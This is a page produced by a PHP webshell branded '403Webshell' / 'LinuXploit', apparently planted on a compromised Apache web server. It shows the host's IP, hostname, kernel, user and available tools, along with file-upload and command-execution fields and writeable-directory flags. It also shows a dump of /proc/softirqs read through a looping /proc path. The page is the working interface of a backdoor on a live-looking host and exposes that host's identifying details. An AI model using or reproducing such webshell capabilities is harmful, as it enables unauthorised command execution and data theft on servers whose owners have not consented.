403Webshell
Server IP : 185.216.8.13  /  Your IP : 216.73.217.174
Web Server : Apache
System : Linux webhost-vie2.sitetide.com 4.18.0-553.156.1.el8_10.x86_64 #1 SMP Mon Aug 17 17:52:57 UTC 2026 x86_64
User : apache ( 48)
PHP Version : 8.2.33
Disable Function : syslog
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/thread-self/root/proc/self/root/proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/thread-self/root/proc/self/root/proc/thread-self/root/proc//softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      
          HI:          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER:   92014235   87215778   85235470   92164167  107179772   84822315   84020625   85573067   81958039  137431908   79849288   81521220
      NET_TX:    6590523    6402366    6304983    6138704    6471161    6017974    5785463   45117308    5713562   74544855    6627188    6491072
      NET_RX:    8430929    8623720    8838395    9136595    9072308    9334413    9593983 1022761574   10178326 1069015560    7843657    8112095
       BLOCK:          0          0          0          0          0          0          0          0          0          0          0          0
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:      44558      39676      36985      35380      36120      33947      33442  169977697      32733    2148331      50443      45532
       SCHED:  188405474  131104061  110696958  102435993   98659930   95792704   94417876   94109873   92834163  113683633   94085584   93282881
     HRTIMER:        313        247        190        153        148        143        113        141        126      58646        487        399
         RCU: 1774895644 1793137723 1791634860 1790019331 1720429838 1777548767 1777572193 1773480571 1773309040 1912316336 1799563576 1784531451

Youez - 2016 - github.com/yon3zu
LinuXploit